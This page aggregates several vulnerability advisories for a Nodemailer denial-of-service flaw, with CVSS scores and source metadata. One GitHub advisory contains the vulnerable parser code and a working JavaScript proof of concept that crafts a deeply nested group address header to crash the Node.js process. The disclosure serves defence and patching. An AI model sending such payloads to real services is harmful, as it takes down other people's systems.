Nodemailer: nodemailer: denial of service via crafted email address header

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

Source published

18 Dec 2025 08:40:31 UTC

Source modified

27 Oct 2026 04:36:27 UTC

Observed here

27 Oct 2026 06:22:56 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

Source published

Dec 18, 2025, 8:40:31 AM (timezone not stated)

Source modified

Oct 27, 2026, 4:36:27 AM (timezone not stated)

Observed here

31 Oct 2026 23:06:37 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

Source published

18 Dec 2025 09:15:44 UTC

Source modified

27 Oct 2026 05:16:55 UTC

Observed here

29 Oct 2026 03:27:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references. ## Original Description A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

Source published

18 Dec 2025 09:30:30 UTC

Source modified

10 Sep 2026 03:50:31 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Publisher rating · MODERATE

### Summary A DoS can occur that immediately halts the system due to the use of an unsafe function. ### Details According to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js: https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90 there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header: ```g0: g1: g2: g3: ... gN: [email protected];``` Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern `addressparser → _handleAddress → addressparser → ...` for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service. The problematic code section is as follows: ```js if (isGroup) { ... if (data.group.length) { let parsedGroup = addressparser(data.group.join(',')); // <- boom! parsedGroup.forEach(member => { if (member.group) { groupMembers = groupMembers.concat(member.group); } else { groupMembers.push(member); } }); } } ``` `data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number. ### PoC ``` const nodemailer = require('nodemailer'); function buildDeepGroup(depth) { let parts = []; for (let i = 0; i < depth; i++) { parts.push(`g${i}:`); } return parts.join(' ') + ' [email protected];'; } const DEPTH = 3000; // <- control depth const toHeader = buildDeepGroup(DEPTH); console.log('to header length:', toHeader.length); const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, newline: 'unix' }); console.log('parsing start'); transporter.sendMail( { from: '[email protected]', to: toHeader, subject: 'test', text: 'test' }, (err, info) => { if (err) { console.error('error:', err); } else { console.log('finished :', info && info.envelope); } } ); ``` As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately. ### Impact The attacker can achieve the following: 1. Force an immediate crash of any server/service that uses Nodemailer 2. Kill the backend process with a single web request 3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Source published

1 Dec 2025 20:44:25 UTC

Source modified

10 Sep 2026 03:50:58 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH